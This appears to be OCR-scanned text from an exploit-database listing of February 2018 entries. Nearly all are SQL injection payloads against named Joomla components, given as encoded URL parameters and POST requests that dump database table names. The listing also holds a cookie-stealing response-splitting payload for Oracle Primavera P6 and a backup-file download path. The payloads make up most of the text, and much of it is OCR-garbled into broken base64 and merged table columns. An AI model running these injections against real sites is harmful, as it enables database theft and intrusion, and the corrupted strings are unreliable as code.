TEwsTNVMTCXOdUXMLES1TEWSTnVMTCXxOdUXMLES1TEwsTn
VMTCXOdUXMLES1TEWSTNVMTCxOdUXMLES 1 TEwSTnVMTCx
OdUxMLSOrLQ==

/index.php?option=com_jticketing&view=events&layout=all&fil
ter_events_cat=JytVTkIPTitBTEWrUOVMRUNUK25VbGwsblVsb
CxuVWxsLG5VbGwsblVsbCxuVWxsLG5VbGwsblVsbCxuVWxsL
G5VbGwsbIVsbCxuVWxsLENPTKNBYCgoUOVMRUNUKOdST 1V
QXONPTKNBVChOYWJsZVIOuYW 11K TNFUEFSQVRPUisweDNjN;jl
3MjNIKStGUKINKOIORK9STUFUSU9OXTNDSEVNQS5UQUIMR
VMrVOhFUKUrVEFCTEVfUONIRU1BPURBVEFCQVNFKCkpKSxuV
WxsLG5VbGwsbIVsbCxuVWxsLG5VbGwsbIVsbCxuVWxsLG5V
bGwsblVsbCxuVWxsLG5VbGwsbIVsbCxuVWxsLG5VbGwsblVs
bCxuVWxsLG5VbGwsblVsbCxuVWxsLG5VbGwsbIVsbCxuVWx
sLG5VbGwsblVsbCxuVWxsLG5VbGwsbIVsbCxuVWxsLSOrLQ==

Joomla!
Component

Joomla!
Component
JTicketing
2.0.16

2018-02-16

44122

SQL Injection

PR CE

Joomla! Component
Medialibrary Free 4.0.12 - SQL
Injection

7INGEX.pNp 70pPTION=COM_Mearalbrary&task=view_autnor&Ia=
MStBTkQoUOVMRUNUKZErRIJPTShTRUXFQ1QrQ09VTIQoKiksQ
090QOFUKChTRUXFQ1QrKFNFTEVDVCtDTO5DQVQoQOFTVCh
WRVITSU90KCkrQVMrQOhBUiksMHg3ZSkpKO0ZSTOOrSUSGT1)
NQVRJTO5fUONIRU 1BLIRBQkxFUytMSU1JVCswLDEpLEZMTO09S
KFJBTkQoMCkaMikpeCtGUKINKOIORKISTUFUSU9OXTNDSEV
NQS5UQUIMRVMIR1JPVVArQlkreClhKStBTkQrMTOx

/index.php/component/medialibrary/0/lend_request?Itemid=0

&mid[0]=NjMgQW5EKygvKiEONDQ1NXNFbGVDVCovKzB4Mz

ErLyohNDQONTVGckINKi8rKC8aITQONDU 1c0VsZUNUKIi8rY09
VTIQoKiksLyohNDQONTVDb05DQXQqgLygoLyohNDQONTVZRW
xIQ1QqLygvKiIEONDQ1NXNFbGVDVCovKy8qITQONDU1Q290Q
OFOKi80Y0OFzdChkQVRBQKFTRSgpKOFzK2NoYXIpLDB4N2UpKS
sVKiIEONDQ1NUZyT00qgLytpbmZPck 1hdGlvbl9zY2hFbWEUdGFi

bGVzKy8aITQONDU1V2hlckUqLytOYWJsZV9zY 2hIbWE9ZEFUQ
UJBUOUOKStsaW 1pdCswLDEpLGZsb29yKHIhTkQoMCkgMikpe
CsvKiEONDQ1NUZyT00qLytpbmZPck1hdGlvbl9zY2hFoWEUdEF

CTEVTUQAITANNDI 171 IDVA LA il A IS AUVAIEA IEND CeyDTE=

Joomla!
Component

Joomla!
Component
MedialLibrary
Free 4.0.12
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SQL Injection

BRMGE

Joomla! Component
NeoRecruit 4.1 - SQL Injection

offers/xxxJTI3TIWITQXITRUTQOITIWITIATUZITQUTRJTQ1ITQzZ
JTUOITIWITM3ITMWITMOJTMXJTIWITQ2JTUYJTRMITRKITI4ITUZ
JTQUTRITQUTQZITUOITIWITQZITRmMITU UTRUTUOITIAITIRITIS
JTIITQZITRMITRUTQZITQXJTUOITIAITC2ITY Tyl Tcz) TYSITZm)
TZUTIATISITIUTIATUZITQUTRITQTITQZITUOITIWITIAITQTITR))
TUOITIATM2JTM2JTNKITM2JTM2JTIITMXJTISITISITISITITYO)
TYXITCOITYXITYYITYXITcZITY UTIATISITHITQ2JTRITRMITRMIT
UyJTIATUYJTQXITRUTQOITIATMWITISITIRITMYJTISITISITCAITI
WITQ2JTUYJTRMITRKITIWITQSITRITQ2JTRMITUYJTRKITQXJTUO
JTQSITRMITRUTVMITUZITQZITQAITQ UTRKITQXITIUTUWITRIT
UTTQ3ITQSITRUTUZITIWITQ3ITUYJTRMITU UTUWITIWITQyJTU
SITIWITCAITISITYXITISITWITQXITRUTQOJTIWITI3ITQTITY2JTY 1)
TIJTNKITIBJTQUTY2JTY 1 html

/neorecruit/xxx/xxxJTI3TIWITQXJTRUTQOJTIWITI4ITUZITQ1ITR}J
TQUTQZITUOTIWITM3ITMWITMOJTMXJTIWITQ2JTUYJTRMJTR
KITIATUZTQUTRITQTITQZITUOITIWITQZITRMITUTITRUTUOITI
ATINTISITIITQZITRMITRUTQZITQXJTUOITIAITC2JTY 1TcylTez)
TYSITZmITZUTIATISITIPTIATUZITQUTRITQITQZITUOITIWITI
ATQUTRITUOITIATM2JTM2JTNKITM2JTM2JTIITMXJTISITISIT
ISJTIUTYOITYXITCOITYXITYYITYXITcZITY UTIATISITIITQ2ITRIT
RMIJTRMJTUYITIAITUYJTQXIJTRUTQOITIATMWITISITIRITMYITIS)
TISITCAITIWITQ2JTUYJTRMITRKITIWITQSITRUTQ2JTRMITUYJTRK
JTQXJTUOJTQSITRMITRUTVMITUZITQZITQAITQTITRKITQXITINT
UWJTRUTUTITQ3ITQSJTRUTUZITIWITQ3ITUYITRMITU UTUWITI
WITQYJTUSITIWITCAITISITYXITISITIWITQXJTRUTQOITIWITIZITQ1

WHRIOIS

Joomla!
Component

Joomla!
Component
NeoRecruit
4.1

2018-02-16

44124

SQL Injection

BRMHGE

Joomla! Component Project
Log 1.5.3 - 'search' SQL
Injection

TAGEX. BAD FOPTION=COm. ProjeCTIOg aVIEW=CaT&Searcn=TTIKITY
XITIBITIWITIWITIMITIATIXITMXITMZI TMZITMZITM3JTU TJTRUT
QSJTRMITRUTIATIMITIWITImITIRITIXITMXITMZITMZITMZITM

3JTUZITQUTRUTQUTQZITUOITIhTIMITIWITMXJTIUTMYITIITM
ZJTITIATUZITQUTRITQTITQZITUOITIWITQ3ITUYTRMITUTIT

UwJTVmMITQZITRMITRUTQZITQXJTUOITIATCOITYXITYYITZITY 1)
TVMITZUTYITZKITY UTIWITUZITQ TTUWITQXITUYJTQXJTUOJTR
mJTUYITIWITMWITCATMZITYZJTM2JTMYJ TM3JTMyJTMZJTY 1)

TISITIWITQ2JTUYJTRMITRKITIWITQSJTRUTQ2JTRMITUYJTRKITQ
xJTUOJTQSJTRMITRUTVmITUZITQZITQAHTQTITRKITQXJTIUTUO)
TQITQYITRITQUTUZITIWITU3ITQATQTUYIJTQ UTIWITUOIT

QXJTQYJTRUTQUTVMITUZITQZITQAITQTITRKITQXITNKITQOITQ
xJTUOITQXITQYITQXITUZITQ UTIATISITISITIITM UTIITM2JTI))
TM3JTIITMATIITMSITIITMXI TMWITITMXI TMXITITMXITM
YITITMXITMZITITMXITMOJTIPTMXITM LUTIITMXITM2JTIT

MxJTM3JTIITMXITMASTITMXITMSITIITMY TMWITITMYJTM
XITHITMYITMYJTIITMY) TMZITITMYJ TMOJTIJTMYJTM LUTJITM
YITM2JTIITMYJTM3ITIITMYSITMAITIITMYJTMSITIITMZI TMwW)

T Tha Tl

Joomla!
Component

Joomla!
Component
Project Log

153

2018-02-16
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SQL Injection

BEMGE

Joomla! Component Realpin
1.5.04 - SQL Injection

/index.php7option=com_realpin&pinboard=JTMTJTI3JTIWITQXJ
TRUTQOITIWITIATUZITQUTRITQUTQZITUOITIWITM2JTM2JTI
WITQ2JTUYJTRMITRKITIATUZITQUTRITQ1ITQZITUOITIWITQZ)
TRmMJTUTJTRUTUOJTIATIRITISITIITQZITRMITRUTQZITQXITUOIT
1TYOITYXITCOITYXITYYITYXITcZITY UTIATISITINTMWITCATM
ITYUTMBITY UTMBITY UTM3ITY UTIUTIATUZITQUTRITQ1TS
TQZJTUOITIWITIATQUTRTUOITIATM2JTM2JTNKITM2JTM2JT)
JTMXITISITISITISITIPTC2UTY 1Ty Tez)TY SITZmITZUTIATISITI))
TQITRITRMITRMITUYJTIATUYITQXITRUTQOITIAITMWITISITIh
JTMYJTISITISITCAITIWITQ2JTUYJTRMITRKITIWITQSITRITQ2JTR
mJTUYJTRKITQXJTUOJTQSITRMITRUTVMITUZITQZITQAITQTITR
KITQITINTUWITRITUTITQ3ITQSITRUTUZITIWITQ3JTUYJTRMIT

UTNTUWITIWITQYITUSITIWITCAITISITYXITISITIWITQXITRITQOJTI
WITIRITVHITO2 ITRITREITIR ITNL ITIRITVh ITO2 ITRIITRE

Joomla!
Component

Joomla!
Component
Realpin
1.5.04

2018-02-16

44126

SQL Injection

BEMGE

Joomla! Component
SimpleCalendar 3.1.9 - SQL
Injection

/Joomla375/index.php?option=com_simplecalendar&view=eve
nts&catid[VerAyari]=(/*102225UPDATEXML*/(66, CONCAT(0x

3a,(/*102225SELECT */+GROUP_CONCAT(table_name+SEPAR
ATOR+0x3a)+FROM+INFORMATION_SCHEMA . TABLES+/*102

225WHERE*/+TABLE_SCHEMA=DATABASE()), (ELT(1=1,1))),1

))

Joomla!
Component

Joomla!
Component
SimpleCalend
ar3.1.9

2018-02-16

44127

SQL Injection

BRMGE

Joomla! Component Smart
Shoutbox 3.0.0 - SQL Injection

/component/smartshoutbox/archive?shoutauthor=JTMxJTI3JTI
WITIMJTIRTIXITMXITMWITMWITMWITMJTUWI Ty TZmITYZJT
YUTYOITcUTeyTY UTIhTImITIWITImITIITIXITMXI TMwWITMw
JTMWITMXITQXITZUTYXITZJITCSITczZITY LTI TImITIWITIAITY 1)
TcAITCOITeYITYXITYZITCOITC2UTYXITZUTCITY UTIATMWITIITI
MITJTIXITMXITMWITMWITMWITMXITYZITZmITZUTYZITYXJTC
OJTJNTIMITIATMWITCA TMYJTM3ITIUTMWITCAI TMOITM5ITM
2JTMAJTM3ITMZITM2JTMXITM2JTY UTMyJTMWITM UTMZIT
M2JTMUTM2ITY TITM2JTMZITM2JTMXITM2JTY UTJHITMwWITC
ATMZITYXITIITQWITQWITC2JTY 1Ty TezITY SITZmITZUTISITI
SIT 1 ITMw ITIS [T U T ke ITha 1T Ll

Joomla!
Component

Joomla!
Component
Smart
Shoutbox
3.0.0

2018-02-16

44128

SQL Injection

BRMEE

Joomla! Component Solidres
2.5.1-5QL Injection

/index.php/en/component/solidres/?checkin=2018-01-
088&checkout=2018-01-
09&option=com_solidres&task=hub.search&direction=descLCh
TRUXFQ1QgNDU2MSBGUKINKFNFTEVDVCBDT1VOVCggKSxD
TO5DQVQOMHg3MTYYNmME3MTcxLChTRUXFQ1QgKEVMVCgO
NTYXPTQ1NjEsMSkpKSwweDcxNmI3MDYyNzEsRkxPT 11oUkFO
RCgwKSoyKSI4IEZSTO0gSUSGT1JNQVRITOSfUONIRU1BLIBMV

Joomla!
Component

Joomla!
Component
Solidres 2.5.1

2018-02-16

44129

SQL Injection

BRMGE

Joomla! Component Staff
Master 1.0 RC 1 - SQL Injection

UdITIMaR11PVVAaOlkaeCIhKO

TITUEA. DT 7 UPUGT I=COT T _SLa T g TeT Ve W =S Ta &I TaTTTE=J TIRIT
ZTY UTZUTZUTSITIKITYYITY UTYSITZITMYITI3ITIWITIWITU 1

JTRUTQSITRMITRUTIWITUZITQ UTRITQ1ITQZITUOITIWITMXITJ]
JTMyITIITQZITRMITRUTQZITQXITUOITVMITU3ITUZITIA TMWIT
CATMYITMWITMZITYXJSTMyJTMWITJITU TJTUZITQ ITUYJTIAITI

SITHITQOITQXITUOITQXITQYITQXITUZITQUTIATISITIITU2)TQ

TUYITUZITQSITRMITRUTIATISITISITIITMOITIUTM UUTIITM2)
TITM3ITIITMATIITMSITIITMXITMWITIITMXITMXI T TMX)
TMYJTIUTMXITMZITIJTMXITMOJTIUTMXITM LTI TMXITM2TJj
JTMXITMBITIITMX]ITMATITMXI TM ST TMY) TMWITIKITIKITI
wiTlk

/index.php?option=com_staffmaster&view=staff&name=JTIJkJT
ZhITZmITYXITZUTIKITYYITZmITc UTey)TZUTY LITIBITIWITIwITU 1
JTRUTQSJTRMITRUTIWITUZITQUTRITQTITQZITUOITIWITMXITI]
JTMYJTIUTMZITIUTMOJTIUTM LTIUTM2ITIUTM3ITIUTMATIIT
MSJTIITMXITMWITIITMXITM)I TITMXITMYJ TIITMXITMZI T}
TIATUZITQUTRYTQUITQZITUOITIWITQ3ITUYJTRMITU JTUWIT
VmITQZITRMITRUTQZITQXJTUOITIATCOITYXITYYITZITY 1JTVm)
TZUTYXITZKITY UTIWITUZITQ UTUWITQXJTUYJTQXJTUOJTRMIT
UyJTIWITMWITCATMZITYZJITM2JTMyJTM3JTMYJTMZITY UTISIT]
IWITQ2JTUYJTRMITRKITIWITQSJTRUTQ2JTRMITUYITRKITQXJTU
0JTQSJTRMITRUTVMITUZITQZITQAITQTITRKITQXITINTUOITQxXJ
TQYJTRUTQUTUZTIWITU3ITQATQTUYITQ UTIWITUOITQXIT
QYJTRUTQUITVMITUZITQZITQAITQTITRKITQXJTNKITQOITQXITU
0JTQXITQYITQXITUZITQUTIATISITISITIITMXITM UTIHITMXITM

Joomla!
Component

Joomla!
Component
Staff Master

1.0RC1

Panta
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index.php?option=com_timetable&view=event&alias=
valeNzc3N‘I\/OSU9OK|8oLyohMD(3deTRUxFQ1 QquB4MJ
gzMTI5LCgvKiEWNZc3N1NFTEVDVCovKEB4KS8alTA3Nzc3RIP
TSovKC8qITA3Nzc3UOVMRUNUKiI8oQHg6PTBAMDApPLChATII6
PTApPLCgvKiEwNzc3NTNFTEVDVCovKDApLyohMDc3NzdGUk9
NKi8oSUS5GT1JNQVRITO5fUONIRU 1BLIRBQkxFUykvKiEWNzc3N
1dIRVJFKi8oVEFCTEVfUONIRU1BITOWeDYS5NmMU2NjZmNzI2ZD
YxNzQ20TZmNmU1ZjczNjM20DY 1NmQ2MSIBTkQoMHgwM
ClITihAeDo9QO9OQOFUKEBALEXQQUQOQESSOjTATHIMmIXLD
QsMHgzMCksMHgzYTIwLHRhY mxIX25hbWUsMHgzYzYyNzlz
7SknKSIAK Sunne DIAMZMyOSinaeDIAMZOVOSktH Sct

WHRIOIS

Joomla!
Component

Joomla!
Component
Timetable
Responsive
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Joomla 1.5

2018-02-16
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SQL Injection

BRMGE

Joomla! Pinterest Clone Social
Pinboard 2.0 - SQL Injection

/index.php?option=com_socialpinboard&view=ajaxcontrol&tm
pl=component&task=getlikeinfo&pin_id=1%20and%201=1--
&user_id=1%20and%201=1--

/index.php?option=com_socialpinboard&view=gift&starts=100
&ends=1%20and%201=1--

/index.php?option=com_socialpinboard&view=home&categor
y=1%20and%201=1--
/index.php?option=com_socialpinboard&view=pindisplay&uid
=1%20and%201=1--

/index.php?option=com_socialpinboard&view=search&serach
Val=1%20and%201=1--

/index.php?option=com_socialpinboard&view=likes&uid=1%2
0and%201=1--

Joomla!
Component

Joomla!
Pinterest
Clone Social
Pinboard 2.0

2018-02-16

44132

SQL Injection

BRMGE

Joomla Component
ccNewsletter 2.x.x 'id' - SQL
Injection

/index.php?option=com_ccnewsletter&task=removeSubscriber
&id=Y2ZjZDIwODQ5NWQ1N}VIZjY2ZTdkZmY5Zjk4NzYOZGEn)
TIWT11IMjA0UOVMRUNUJTIWMiUYMEZSTO00UOVMRUNUJTIwW
QO9VTIQoKiksQO9OQOFUKHZIcnNpb240KSwoUOVMRUNUITI
WKEVMVCgxPTESMSkpKSxkYXRhYmFzZSgpLEZMTO9SKFIBTk
QoMCkgMikpeCUYMEZSTOOIMjBJTkZPUk 1BVEIPTISTQOhFTUE
ulEXVROIOUVLIVMEAST 1VO IThwOIkIMIBAKWEnL SOIMiRhTXRM
TTUEX. PP 7 OPUOTT=COTT—SaXUTTTas T UNVIEW=SdaVEUreaunm g P U

2018-02-16

44133

SQL Injection

BEMGE

Joomla! Component Saxum
Astro 4.0.14 - SQL Injection

Joomla!
Component

Joomla
Component
ccNewsletter
2.X.X

licid=JTMxXJTI3JTIWJTQXJTRUTQOITIWITQTJTUAITUOITUYITQXIT
QZITUOITUTQXITRUTUITQUTIATM2JTM2JTIITQZITRMITRI
JTQZITQUTUOITIATMWITCATM UITYZITIUTQZITRMITRUTQZIT
QXJTUOITVMITU3ITUZITIATMWITCATMYJTMWITMZITYXJTMy)
TMWITIUTUNTUZITQUTUYITIATISITIITQOITQXITUOITQXITQyS
TQXITUZITQUTIATISITIPTU2JTQTITUYITUZITQSITRMITRITIAIT
ISJTISITUITIATUZITQTTRITQUTQZITUOITIWITIAITQTITR}ITUO)
TIATM2JTM2JTNKITM2JTM2JTITMXJTISITISITISITISITISITIKITI
kITIwITIk

/index.php?option=com_saxumastro&view=interpret&typeid=
1&signid=JTMxJTISITIWIJTQXJTRUTQOITIWITIATUZITQUTRIITQ
UTQZITUOITIWITM2JTM2JTM UTM 1TIWITQ2JTUYJTRmMITRKITI
ATUZITQUTRITQITQZITUOITIWITQZITRMITU UTRUTUOITIAIT
JATISITITQZITRMITRUTQZITQXJTUOITIAITQZITRMITRITQZITQ
xJTUOJTVmMITU3ITUZITIATMWITCATMYJTMWITMZITY XJITMYJT
MwITIITUTTUZITQ UTUYITIATISITIITQOITQXITUOITQXITQYIT
QXJTUZITQUTIATISITIHTUJTQTITUYITUZITQSITRMITRITIAITI
SITISITITIATUZITQUTRUTQUTQZITUOITIWITIAITQ TRJITUOS
TIATM2JTM2ITM UTM UTNKITM2JTM2JTM TITM UTJITMXITIS
JTISITISITIUTQ2JTRITRMITRMITUYITIAITUYITQXITRUTQOITIAT
MwWITISITIRTMYJTISITISITCAITIWITQ2JTUYJTRMITRKITIWITQS)
TRUTQ2JTRMITUYJTRKITQXJTUOJTQSJTRMITRUTVMITUZITQZIT
QAITQUTRKITQXITIUTUWITRITUTITQ3JTQSJTRUTUZITIWITQ3)
TUYJTRMITU UTUWITIWITQYJTUSITIWITCATISITYXJTISITIWITQX
JTRUTQOJTIWITIAITMSITMYJTM3ITMXJTNKITMSJTMYJTM3ITM

Joomla!
Component

Joomla!
Component
Saxum Astro

4.0.14

2018-02-16

44134

SQL Injection

BRMEE

Joomla! Component Saxum
Numerology 3.0.4 - SQL
Injection

TTTOE A PTTP TOP TOTT=COT T SaATTTTTOT TS TOTOg Y TTeSUTT
&publicid=JTMxJTI3JTIWITQxJTRITQOJTIWITQ1JTUAITUOJTUYIT
QxJTQZJTUOJTUITQXITRITUTITQUTIATM2IJTM2JTIITQZITR
mJTRUTQZITQXITUOITIATMWITCATM UTYZITIPTQZITRMITRIT
QZITQXJTUOITVmMITU3ITUZITIATMWITCATMYJ TMWITMZITY X)
TMyJTMWITIITUTITUZITQ UTUYITIAITISITITQOITQXITUOITQX
JTQYITQXITUZITQUTIATISITIITUITQUTUYITUZITQSITRMITRI
JTIATISITISITIPTIATUZITQUTRITQUTQZITUOITIWITIAITQTITR
JITUOJTIATM2JTM2JTNKITM2ITM2J T TMXITISITISITISITISITIS
JTIITIKITIWITIK

POST
/index.php?option=com_saxumnumerology&view=interpret
HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

type_id=
KFNFTEVDVCA2NIBGUKINKFNFTEVDVCBDT1VOVCgaKSxDTO
5DQVQoQ090QOFUX1dTKDBAM|AZYTIWLFVTRVIOKSXEQVRB
QKFTRSgpLFZFUINJTO40KSksKFNFTEVDVCAORUXUKDY2PTY2L
DEpKSkstxPT1 IOUkFORngKSOyKS\4IEZSTOOQSUSGT1 IJNQVR

Joomla!
Component

Joomla!
Component
Saxum
Numerology
3.04

Panta
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SQL Injection

BRMGE

Joomla! Component
SquadManagement 1.0.3 - SQL
Injection

/index.php?option=com_squadmanagement&task=removewar
round&id=JTMxJTIWJTQxJTRUTQOJTIWJTQ 1JTUAITUOITUYIJTQxX)
TQZJTUOJTUJTQXTRUTU LTQ UTIATMOJTMY)TMWITM2JTIJIT
QzJTRMJTRUTQZITQXJTUOITIAITMWITCATMUTYZITJITQZITR
mJTRUTQZITQXJTUOITVMITU3ITUZITIATMWITCATMYJ TMWIT
MZJTYJTMyJTMwWITIITU TITUZITQ UTUYITIATISITIITQOJTQxXI
TUOJTQXITQYJTQXJTUZITQ UTIAJTISITITU2JTQ1ITUYITUZITQS
JTRMJTRUTIATISITISITIUTIAITUZITQ UUTRITQ1TITQZITUOITIWITI
AJTQUTRITUOITIATMOITMYJTMWITM2JTNKITMOJTMYJTMw)
TM2JTIITMXITISITISITISITISITIS

/index.php?option=com_squadmanagement&controller=appoi
ntment&task=deleteappointment&id=JTM5JTM5JTM5JTM5JT
MS5JTIWITQXJTRUTQOJTIWITQ1JTU4JTUOITUYITQXITQZITUOITU
2JTQXITRITUUTQUTIATM UUTM2JTM2JTMYJTIITQZITRMITRI
TQZITQXTUOITIATMWITCATM UTYZITIITQZITRMITRUTQZITQ
xJTUOJTVmITU3JTUZITIATMWITCATMYITMWITMZITY XS TMYJT
MwJTIITUTUZITQ UTUYJTIATISITIITQOITQXITUOITQXITQYIT
QXJTUZITQUTIATISITITU2ITQTITUYITUZITQSITRMITRITIAITI
SITISITIUTIATUZTQUTRITQTITQZITUOITIWITIAITQTITRIJTUOS
TIATM2JTM2JTNKITM2JTM2JTITMXITISITISITISITISITIS

/index.php?option=com_squadmanagement&controller=appoi
ntment&task=removefromappointment&id=JTM5JTM5JTM5JT
MS5JTM5ITMSITIWITQXITRUTQOJTIWITQ1JTUAITUOITUYJTQXIT
QzJTUOJTUJTQXJTRITUTQUTIAITM2JTM2JTIUTQZITRMITRI
JTQZITQXITUOITIATMWITCATM UTYZITIUTQZITRMITRUTQZIT
QXJTUOJTVMITU3ITUZITIATMWITCATMYJTMWITMZITYXJTMyJ
TMWITIITUTITUZITQ UTUYJTIATISITIITQOJTQXITUOITQXITQyS
TQXITUZITQUTIATISITIITU2ITQTUYITUZITQSITRMITRUTIAT
ISJTISITITIATUZITQUTRITQ UTQZITUOITIWITIAITQUTRITUO)
TIATM2JTM2JTNKITM2JTM 2 TITMXITISITISITISITISITIS

/index.php?option=com_squadmanagement&view=editsquad
&format=memberlist&squadid=JTMxJTIWJTQxXJTRUTQOJTIWITI4
JTUZITQUTRITQUTQZITUOITIWITM2JTM2JTIWITQ2JTUYJTRmMJ
TRKITIATUZITQUTRITQUTQZITUOITIWITQZITRMITU TJTRUTUO
JTIATIATISITINTQZITRMITRUTQZITQXJTUOITIATQZITRMITRIT
QZITQXJTUOITVMITUSITUZITIAITMWITCAI TMYJTMWITMZITY XJ
TMyJTMWITJITUUTUZITQTITUYITIAITISITIITQOITQXJTUOITQX
JTQYITQXITUZITQUTIATISITIHTUITQTITUYITUZITQSITRMITRI
JTIATISITISITIUTIATUZITQUTRITQTITQZITUOITIWITIATQTITR
JITUOITIAITM2JTM2JTNKITM2JTM2JTIITMXITISITISITISITIITQ
2JTRITRMITRMITUYITIATUYITQXITRUTQOITIA TMWITISITIRIT
MyJTISITISITCAITIWITQ2ITUYJTRMITRKITIWITQSJTRUTQ2JTRmM)
TUYJTRKITQXJTUOJTQSITRMITRUTVMITUZITQZITQAITQTITRKIT
QXJTIUTUWITRITU TITQ3ITQSITRUTUZITIWITQ3JTUYJTRMITU 1)
TUWITIWITQYJTUSITIWITCATISITYXITIS

/index.php?option=com_squadmanagement&controller=squad
members&task=addmember&squadid=JTMxJTIwJTQxJTRIJTQOJ
TIWJTIATUZITQUTRITQTTQZITUOITIWITMXITMZITM5JTMSJTI
WITQ2JTUYJTRMITRKITIATUZITQUTRITQ1ITQZITUOITIWITQZ)
TRMJTUTJTRUTUOJTIAITIRITISITIITQZITRMITRUTQZITQXITUOIT
14JTQZITRMITRUTQZITQXJTUOITVMITU3ITUZITIAITMWITCAITM
YITMWITMZITYXITMyJTMWITJTU UTUZITQ UTUYITIATISITIIT
QOJTQXJTUOITQXITQYITQXITUZITQ UTIAITISITIITUJTQ1ITUY)
TUZJITQSITRMITRUTIATISITISITIPTIAITUZITQITRITQ1ITQzZITU
OJTIWITIATQUTRITUOITIHTMXJTMZITMSITMSITNKITMXITMZ
JTMSITMSJTIITMITISITISITISITINTQ2ITRITRMITRMITUYITIA)
TUYJTQXJTRUTQOJTIATTMWITISITIRTMYJTISITISITCAITIWITQ2JT
UyJTRMJTRKITIWITQSIJTRUTQ2JTRMITUYJTRKITQXJTUOJTQSITR
mITRUTVMITUZITQZITQATQ UTRKITQXITINTUWITRIITUTITQ3)
TQSITRUTUZITIWITQ3JTUYJTRMITU ITUWITIWITQYIJTUSITIWITC
ATISITYXITIS

WHRIOIS

Joomla!
Component

Joomla!
Component
SquadManag
ement 1.0.3

2018-02-16

44136

SQL Injection

PR CE

Joomla! Component Saxum
Picker 3.2.10 - SQL Injection

/index.php?option=com_saxumpicker&view=savedspread&pub
licid=JTMXJTI3JTIWJTQXJTRUTQOITIWITQ1JTUAITUOITUYITQXIT
QzJTUOITUTQXITRITUITQ UTIATM2JTM2JTIIITQZITRMITRI
JTQZITQXITUOITIATMWITCAHTM UITYZITIITQZITRMITRUTQZIT
QXJTUOJTVMITUITUZITIATMWITCATMYS TMWITMZITYXJTMy)J
TMWITIITUTITUZITQ UTUYJTIATISITIITQOJTQXITUOITQXITQyS
TQXJTUZITQUTIATISITIPITU2JTQ1ITUYITUZITQSITRMITRITIAIT
ISITISITITIATUZITQUTRUTQ UTQZITUOITIWITIAITQUTRITUO)
TIATM2JTM2JTNKITM2JTM2JTIITMXITISITISITISITISITISITIKITI
L IThw 1T 1k

Joomla!
Component

Joomla!
Component
Saxum Picker

3.2.10

2018-02-16

44140

SQL Injection

BRMEE

PSNews Website 1.0.0 -
'Keywords' SQL Injection

POST /index.php/search HTTP/T.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

keywords=" or updatexml(1,
cancat(Ny3a 1iser() Ox2a datahase)) 1)

PSNews
Website

PSNews
Website 1.0.0

2018-02-16

44141

XSS

£

Oracle Primavera P6 Enterprise
Project Portfolio Management -
HTTP Response Splitting

/p6/LoginHandler?languageCode=runesec% 0a % 0a% 0a<scrip
tHalert(document.cookie)</script> % 0a

Oracle
Primavera P6
Enterprise
Project Portfolio
Management

Oracle
Primavera P6
Enterprise
Project
Portfolio
Management

2018-02-22

44158

SQL Injection

BRMGE

Joomla! Component CW Tags
2.0.6 - SQL Injection

/index.php?option=com_cwtags&searchtext[]=%2d%45%66
%65%27%29%20%20%2f{%2a%21%30%33%33%33%3
3%55%4€%49%41%4e%2a%2f%20%2f % 2a%21%30%3
3%33%33%33%53%45%4C%45%43%54%2a%2f%20%
40%40%48%4f%53%54%4e %41 %4d %45 %2d % 2d% 20
%2d

Joomla!
Component

Joomla!
Component
CW Tags
2.06

2018-02-22

44159

Extension Filtering

ot

Joomla! Component Proclaim
9.1.1 - Backup File Download

/media/com_biblestudy/backup/Joomla375_jbs-db-
backup_2018_February_22_1518955684.5ql

Joomla!
Component

Joomla!
Component
Proclaim

Panta
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Index.php/7oplioN=com_prayercenter&task=confirma&Ia=1&ses
sionid=%31%27%20%41%4e%44%20%45%58% 54 %52
%41%43%54%56 %41 %4Cc%55%45%28%32%32%2c%4
3%41%4e%43%41%54%28%30%78%35%63%2c%28%
53%45%4c%45%43%54%20%47 %52 %4f%55%50% 5f %
43%4f%4e%43%41%54%28%74%61 %62 %6C%65%5f%
6€%61%6d%65%20%53%45%50%41%52%41 %54 %4f

WHRIOIS

Joomla! Component %52%20%30%78%33%63%36%32%37%32%33%65%2 Joomlal C;?noncllr?]e!nt

2018-02-22 44160 SQL Injection B2XE | PrayerCenter 3.0.2 - 'sessionid' |9%20%46%52 % 4f%4d%20%49 % 4e % 46 %4 %52 % 4d %4 C X t | P DC e

SQL Injection 1%54%49%41%4e% 5% 53%43%48%45%4d%41%2e %5 | —CMPONen rayg”o ;” €r
4%41 %42 %4C%45%53%20%57 %48%45%52%45%20% o
54%41%42 %A% 45% 5% 53%43%48%45%4d %41 % 3d
%44%41%54%41 %42 %41 %53%45%28%29%29%2c%2
8%53%45%4C%45%43%54%20%28%45%4c%54%28%
31%3d%31%2C%31%29%29%29%2c%64%61%74%61
%62%61%73%65%28%29%29%29%2d%2d%20%56%6
C0L770L410.7Q0LE10L 700460
/index.php/component/ekrishta/alluser?options=com_ekrishta
&view=alluser&gender=[SQL]&age 1=[SQL]&age2=[SQL]&religi
on=[SQL]&mothertounge=[SQL]&caste=[SQL]&country=%27
Joomial Component £k RSN2 |G, 41, Coicooqioos sack 325457502 A3%041%0deoea3ohd|  Joomlal | L0
. . . N o 0 4C7 o o o o 0ZC70 o hae /o o joomla’

2018-02-22 | 44161 SQL Injection PRAER 2.9 -5QL Injection 1%54%28%30%78%35%63%2c%76%65%72%73%69% | Component é";".‘;f’”ezng
61%6€%28%29%2c%28%53%45%4c%45%43%54%20% ishta 2.
28%45%4c%54%28%31%3d%31%2c%31%29%29%29
%2Cc%64%61%74%61%62%61%73%65%28%29%29%2
9%2d%2d%20%56%65%72%41%79%61%72%69
/index.php?option=com_abook&view=category&letter=%44%
27%20%41%4e%44%20%45%58%54%52%41%43%54 Joomlal

Joomlal Component Alexandria o gL s auheok Teok6soh 1297396 | Joomlal | COmPOTENt
L N A | o o o o o o o ©02C% o o o o loomla! N
2018-02-22 | 44162 5QL Injection FRIEE | Book L'b’arly 3.1.2 - letter’ SQL 9o/ o/ 6094 28% 299% 2¢% 28%53%45%4c % 45%43%54%2|  Component BA'e:aLr.‘g”a
njection 0%28%45%4c%54%28%31%3d%31%2c%31%29%29% °°3 1';3”/
29%2¢%64%61%74%61%62%61%73%65%28%29%29 T
%29%2d%2d%20%56%65%72%41%79%61%72 %69
